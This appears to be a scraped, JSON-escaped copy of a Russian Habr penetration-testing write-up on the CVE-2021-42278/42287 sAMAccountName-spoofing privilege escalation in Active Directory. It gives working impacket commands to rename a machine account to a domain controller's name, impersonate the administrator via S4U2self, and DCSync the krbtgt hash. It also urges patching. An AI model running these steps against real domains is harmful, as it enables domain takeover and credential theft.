\u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName\" width=\"500\" height=\"90\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/098\/234\/9e9\/0982349e9d8f679a9c2669ee32b1c9ae.png\"\/><figcaption>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGT \u0434\u043b\u044f \u0423\u0417 \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName<\/figcaption><\/figure>\n<h4>4. renameMachine.py (2)<\/h4>\n<p>\u041f\u0435\u0440\u0435\u043c\u0435\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u043d\u0443\u044e \u0443\u0447\u0435\u0442\u043a\u0443 \u043e\u0431\u0440\u0430\u0442\u043d\u043e:<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>.\/renameMachine.py tinycorp.net\/j.doe:'P@$$w0rd' -dc-ip 172.22.0.2 -current-name DC01 -new-name 'FromRussiaWithLove$'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fc4\/95d\/af2\/fc495daf2b7f011fd973655ef83d3846.png\" alt=\"\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u043d\u0435\u0439\u043c (\u043d\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c)\" title=\"\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u043d\u0435\u0439\u043c (\u043d\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c)\" width=\"960\" height=\"108\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fc4\/95d\/af2\/fc495daf2b7f011fd973655ef83d3846.png\"\/><figcaption>\u041e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0440\u0435\u043d\u0435\u0439\u043c (\u043d\u043e\u0432\u043e\u0435 \u0438\u043c\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c)<\/figcaption><\/figure>\n<h4>5. getST.py<\/h4>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u0430\u043c\u0430\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u2013 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0442\u0438\u043a\u0435\u0442 \u043d\u0430 \u0441\u043b\u0443\u0436\u0431\u0443 \u043d\u0430\u0448\u0435\u0433\u043e \u043d\u0435\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u0430\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u0432 \u0442\u0438\u043a\u0435\u0442 \u043d\u0430 DC. \u042d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0440\u0430\u0437\u043d\u043e\u0432\u0438\u0434\u043d\u043e\u0441\u0442\u0438 RBCD (\u0430\u043d\u0433\u043b. Resource-based Contrained Delegation) <a href=\"https:\/\/shenaniganslabs.io\/2019\/01\/28\/Wagging-the-Dog.html\" rel=\"noopener noreferrer nofollow\">\u0430\u0442\u0430\u043a\u0438<\/a>. \u0410\u043a\u0442\u0438\u0432\u0438\u0440\u0443\u044f \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 S4U2self \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 Kerberos, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0438\u043c\u0435\u0442\u044c \u0442\u0430\u043a\u043e\u0439 TGS \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/getST.py\" rel=\"noopener noreferrer nofollow\">getST.py<\/a>. \u0414\u043e \u043c\u0430\u0441\u0442\u0435\u0440\u0430 impacket-\u0430 \u0444\u043b\u0430\u0433 <code>-self<\/code> \u0435\u0449\u0435 \u043d\u0435 \u0434\u043e\u0431\u0440\u0430\u043b\u0441\u044f, \u043e\u0434\u043d\u0430\u043a\u043e \u043e\u043d \u0443\u0436\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/pull\/1202\" rel=\"noopener noreferrer nofollow\">\u0432 \u044d\u0442\u043e\u043c PR<\/a> (\u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0430\u0442\u0430\u043a\u0438 \u043c\u043e\u0436\u043d\u043e \u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u043c <a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0441\u0442\u0435<\/a> \u043e\u0442 @exploitph):<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>KRB5CCNAME=DC01.ccache python3 impacket\/examples\/getST.py -spn LDAP\/DC01.tinycorp.net tinycorp.net\/DC01 -k -no-pass -dc-ip 172.22.0.2 -impersonate administrator -self<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/919\/158\/567\/91915856714463c66dd67ea14f8356a2.png\" alt=\"\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGS, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f TGT \u043c\u0430\u0448\u0438\u043d\u044b \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName\" title=\"\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGS, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f TGT \u043c\u0430\u0448\u0438\u043d\u044b \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName\" width=\"960\" height=\"162\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/919\/158\/567\/91915856714463c66dd67ea14f8356a2.png\"\/><figcaption>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c TGS, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f TGT \u043c\u0430\u0448\u0438\u043d\u044b \u0441 \u0437\u0430\u0441\u043f\u0443\u0444\u0430\u043d\u043d\u044b\u043c sAMAccountName<\/figcaption><\/figure>\n<h4>6. secretsdump.py<\/h4>\n<p>\u0412\u043e\u0442 \u0438 \u0432\u0441\u0435, \u0442\u0435\u043f\u0435\u0440\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u0442\u0438\u043a\u0435\u0442 \u0434\u043b\u044f DCSync-\u0430 \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043e\u043c\u0435\u043d\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f <a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/blob\/master\/examples\/secretsdump.py\" rel=\"noopener noreferrer nofollow\">secretsdump.py<\/a>!<\/p>\n<details class=\"spoiler\">\n<summary>Cmd<\/summary>\n<div class=\"spoiler__content\">\n<p><code>KRB5CCNAME=administrator.ccache secretsdump.py -k -no-pass DC01.tinycorp.net -dc-ip 172.22.0.2 -just-dc-user 'TINYCORP\\krbtgt'<\/code><\/p>\n<\/div>\n<\/details>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/056\/3c6\/563\/0563c6563afba8a036c3de9573a254ea.png\" alt=\"DCSync the Planet!\" title=\"DCSync the Planet!\" width=\"960\" height=\"234\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/056\/3c6\/563\/0563c6563afba8a036c3de9573a254ea.png\"\/><figcaption>DCSync the Planet!<\/figcaption><\/figure>\n<h3>Outro<\/h3>\n<p>\u0425\u043e\u0447\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a \u044d\u0442\u043e\u0439 \u0446\u0435\u043f\u043e\u0447\u043a\u0435 \u0430\u0442\u0430\u043a \u0438 \u043f\u0440\u0438\u0437\u0432\u0430\u0442\u044c \u0432\u0441\u0435\u0445 \u043d\u0435\u0440\u0430\u0432\u043d\u043e\u0434\u0443\u0448\u043d\u044b\u0445 \u0430\u0434\u043c\u0438\u043d\u043e\u0432 \u043a \u043d\u0430\u0438\u0441\u043a\u043e\u0440\u0435\u0439\u0448\u0438\u043c \u043f\u0430\u0442\u0447\u0430\u043c \u0441\u0432\u043e\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c (\u0434\u0430\u0436\u0435 \u043d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0430\u043c, \u043a\u0430\u043a \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u0430\u043c, \u044d\u0442\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u044b).<\/p>\n<p>\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0434\u043b\u044f BlueTeam-\u0435\u0440\u043e\u0432 \u043a\u0430\u0441\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u0435\u0442\u0435\u043a\u0442\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0435\u0439\u0441\u0430 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u0432 \u043a\u043e\u043d\u0446\u0435 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0441\u0435\u0440\u0447\u0430.<\/p>\n<p>\u0421\u043f\u0430\u0441\u0438\u0431\u043e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0438 Happy Hacking!<\/p>\n<h3>\u0421\u0441\u044b\u043b\u043a\u0438 \u0438 \u0440\u0435\u0441\u0443\u0440\u0441\u044b<\/h3>\n<ul>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/cve-2021-42287-cve-2021-42278-weaponisation.html\" rel=\"noopener noreferrer nofollow\">eXploit \u2013 CVE-2021-42287\/CVE-2021-42278 Weaponisation<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e\" rel=\"noopener noreferrer nofollow\">KB5008102\u2014Active Directory Security Accounts Manager hardening changes (CVE-2021-42278)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041\" rel=\"noopener noreferrer nofollow\">KB5008380\u2014Authentication updates (CVE-2021-42287)<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/exploit.ph\/revisiting-delegate-2-thyself.html\" rel=\"noopener noreferrer nofollow\">eXploit \u2013 Revisiting &#8216;Delegate 2 Thyself&#8217;<\/a><\/p>\n<\/li>\n<li>\n<p><a href=\"https:\/\/github.com\/SecureAuthCorp\/impacket\/pull\/1202\" rel=\"noopener noreferrer nofollow\">Added -self to getST for S4U2self abuse by ShutdownRepo \u00b7 Pull Request #1202 \u00b7 SecureAuthCorp\/impacket<\/a><\/p>\n<\/li>\n<\/ul>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/594923\/\"> https:\/\/habr.com\/ru\/articles\/594923\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0430\u043f, \u0425\u043e\u0431\u0440!<\/p>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442\u0441\u044f, \u0441\u0438\u0434\u0438\u043c \u043c\u044b \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u043e\u0439 (\u043f\u043b\u0438\u0432\u0435\u0442, <a href=\"https:\/\/t.me\/Acrono\" rel=\"noopener noreferrer nofollow\">@Acrono<\/a>!) \u043d\u0430 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0435 \u0443 \u0417\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430, \u0432\u043e\u0442\u043a\u043d\u0443\u0442\u044b\u0435 \u0432 \u0441\u043a\u043e\u043c\u043c\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0440\u043e\u0437\u0435\u0442\u043a\u0438, \u0434\u0430 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0438\u043c \u0441\u0432\u043e\u0438 \u0432\u043d\u0443\u0442\u0440\u044f\u043a\u0438. \u041f\u043e\u0432\u0441\u044e\u0434\u0443 \u044d\u0442\u0438 \u0432\u0430\u0448\u0438 802.1x, AppLocker-\u044b, PowerShell CLM-\u044b, LAPS-\u044b, \u0430\u0432\u0435\u0440\u044b \u043b\u044e\u0442\u0443\u044e\u0442, \u0431\u043b\u043e\u0447\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0437\u0430\u0432\u0435\u0442\u043d\u044b\u0439 \u0445\u0435\u043d\u0434\u043b \u043a lsass.exe, \u0432\u0441\u044f \u0438\u043d\u0444\u0440\u0430 \u043d\u0430 2019-\u0445 \u0441\u0435\u0440\u0432\u0430\u043a\u0430\u0445<s>, \u043d\u0435\u0431\u043e \u043d\u0430\u0434 \u0433\u043e\u043b\u043e\u0432\u043e\u0439 \u0446\u0432\u0435\u0442\u0430 \u044d\u043a\u0440\u0430\u043d\u0430 \u0442\u0435\u043b\u0435\u0432\u0438\u0437\u043e\u0440\u0430, \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u043d\u0430 \u043c\u0435\u0440\u0442\u0432\u044b\u0439 \u043a\u0430\u043d\u0430\u043b<\/s>. \u0412 \u043e\u0431\u0449\u0435\u043c, \u0441\u0442\u0440\u0430\u0448\u043d\u044b\u0439 \u0441\u043e\u043d (\u044d\u0442\u0438\u0447\u043d\u043e\u0433\u043e) \u0445\u0430\u043a\u0435\u0440\u0430. \u0418 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435 \u044d\u0442\u043e \u0443\u0436\u0435 \u0442\u0440\u0435\u0442\u0438\u0439 \u0434\u0435\u043d\u044c. \u0411\u043b\u0430\u0433\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u0432\u0441\u0435 \u0431\u0443\u0434\u0435\u0442 \u043f\u043e-\u0434\u0440\u0443\u0433\u043e\u043c\u0443, \u0431\u043b\u0430\u0433\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b \u043f\u0440\u043e \u0441\u043f\u0443\u0444\u0438\u043d\u0433 sAMAccountName \u043f\u043e \u0434\u043e\u0440\u043e\u0433\u0435 \u0432 \u043e\u0444\u0438\u0441&#8230;<\/p>\n<p><a class=\"anchor\"><\/a><\/p>\n<h3>Intro<\/h3>\n<p>\u041d\u0430 \u0434\u043d\u044f\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0427\u0430\u0440\u043b\u0438 \u041a\u043b\u0430\u0440\u043a (<a href=\"https:\/\/twitter.com\/exploitph\" rel=\"noopener noreferrer nofollow\">@exploitph<\/a>, \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0441\u0432\u043e\u0438\u043c <a href=\"https:\/\/github.com\/ZeroDayLab\/PowerSploit\/blob\/master\/Recon\/PowerView.ps1\" rel=\"noopener noreferrer nofollow\">\u0444\u043e\u0440\u043a\u043e\u043c<\/a> PowerView) <a href=\"https:\/\/exploit.ph\/cve-2021-42287-cve-2021-42278-weaponisation.html\" rel=\"noopener noreferrer nofollow\">\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b<\/a> \u0441\u0432\u0435\u0436\u0438\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u044d\u0441\u043a\u0430\u043b\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0434\u043e\u043c\u0435\u043d\u0435 Active Directory, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e\" rel=\"noopener noreferrer nofollow\">CVE-2021-42287<\/a> \u0438 <a href=\"https:\/\/support.microsoft.com\/en-us\/topic\/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041\" rel=\"noopener noreferrer nofollow\">CVE-2021-42278<\/a>. \u041f\u0430\u0447\u043a\u0430 CVE, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 \u044d\u0442\u0438\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f \u0432 \u0442\u0432\u0438\u0442\u0442\u0435\u0440\u0430\u0445 \u0443\u0436\u0435 \u043e\u043a\u043e\u043b\u043e \u043c\u0435\u0441\u044f\u0446\u0430 \u0438 \u0431\u044b\u043b\u0430 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u00ab\u043c\u0435\u043b\u043a\u043e\u043c\u044f\u0433\u043a\u0438\u043c\u0438\u00bb \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043d\u043e\u044f\u0431\u0440\u044c\u0441\u043a\u043e\u0433\u043e Patch Tuesday. \u041d\u043e, \u043a\u0430\u043a \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u043a\u0442\u043e \u043d\u0435 \u0443\u0441\u043f\u0435\u043b, \u0442\u043e\u0442 \u043e\u043f\u043e\u0437\u0434\u0430\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u043c\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u044b \u0441 Acrono \u0432\u0441\u0435 \u0436\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438. \u0414\u0430\u043b\u0435\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0436\u0443 (\u0438 \u043f\u043e\u043a\u0430\u0436\u0443), \u043a\u0430\u043a \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0442\u0435\u043e\u0440\u0438\u0438.<\/p>\n<h3>\u041f\u0440\u0435\u0434\u044b\u0441\u0442\u043e\u0440\u0438\u044f<\/h3>\n<h4>CVE-2021-42278<\/h4>\n<p>\u041a\u0430\u043a \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u044b Active Directory \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u044e\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0430 <code>$<\/code> \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u043c\u0435\u043d\u0438 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u043d\u043e\u0433\u043e \u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430, \u0445\u043e\u0442\u044f \u0432\u0441\u0435 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0435 \u0438\u043c\u0435\u043d\u0430 \u043e\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u0438\u043c. \u042d\u0442\u043e\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u00ab\u043d\u0435 \u0431\u0430\u0433, \u0430 \u0444\u0438\u0447\u0430\u00bb \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043f\u043e\u043b\u043d\u0435 \u0441\u0435\u0431\u0435 <strong>\u0431\u043e\u043b\u044c\u0448\u0438\u043c<\/strong> \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c \u0432 \u0441\u0432\u044f\u0437\u043a\u0435 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e CVE-2021-42287.<\/p>\n<h4>CVE-2021-42287<\/h4>\n<p>\u041a\u043e\u0433\u0434\u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 \u0442\u0438\u043a\u0435\u0442 TGS, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0441\u043f\u0435\u0440\u0432\u0430 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0432 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0438\u043c (\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u043c) TGT. \u0412 \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 KDC \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u0441\u0440\u0435\u0434\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u0441 \u0438\u043c\u0435\u043d\u0435\u043c, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c \u0432 TGT, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0442\u0443\u043f\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u0438\u043c\u0432\u043e\u043b <code>$<\/code> \u043a \u044d\u0442\u043e\u043c\u0443 \u0438\u043c\u0435\u043d\u0438 \u0438 \u0448\u0438\u0444\u0440\u0443\u0435\u0442 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0439 TGS \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043a\u043b\u044e\u0447\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 \u00ab\u0438\u043c\u044f$\u00bb.<\/p>\n<h4>\u0418 \u0447\u043e \u0434\u0430\u043b\u044c\u0448\u0435?<\/h4>\n<p>\u0410 \u0447\u0442\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u0443\u0435\u043c \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0434\u043e\u043c\u0435\u043d\u0430, \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043c \u0434\u043b\u044f \u043d\u0435\u0433\u043e TGT, \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u0443\u0435\u043c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043e\u0431\u0440\u0430\u0442\u043d\u043e (\u043d\u0435\u0432\u0430\u0436\u043d\u043e, \u0432 \u043a\u0430\u043a\u043e\u0435 \u0438\u043c\u044f) \u0438 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u044d\u0442\u043e\u0433\u043e TGT \u0437\u0430\u043f\u0440\u043e\u0441\u0438\u043c TGS \u043d\u0430 \u043a\u0430\u043a\u0443\u044e-\u043b\u0438\u0431\u043e \u0441\u043b\u0443\u0436\u0431\u0443 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, LDAP) \u044d\u0442\u043e\u0433\u043e, \u043d\u044b\u043d\u0435 \u0443\u0436\u0435 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e, \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430? \u041d\u0435\u0443\u0436\u0435\u043b\u0438 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0431\u0438\u043b\u0435\u0442, \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u043c \u0434\u043e\u043c\u0435\u043d\u0430, \u043d\u0430 \u0441\u0430\u043c\u043e\u0433\u043e \u0441\u0435\u0431\u044f? \u0414\u0430 \u043d\u0435, \u0431\u0440\u0435\u0434, \u0431\u044b\u0442\u044c \u0442\u0430\u043a\u043e\u0433\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442&#8230; \u0412\u0435\u0434\u044c \u0442\u0430\u043a?<\/p>\n<h3>\u041f\u0440\u0430\u043a\u0442\u0438\u043a\u0430<\/h3>\n<p>\u041d\u0435\u0442, \u043d\u0435 \u0442\u0430\u043a. \u0412\u0441\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u043e\u0447\u043d\u043e, \u043a\u0430\u043a \u043c\u044b \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u043b\u0438. \u041f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u043e. \u0422\u0430\u043a \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 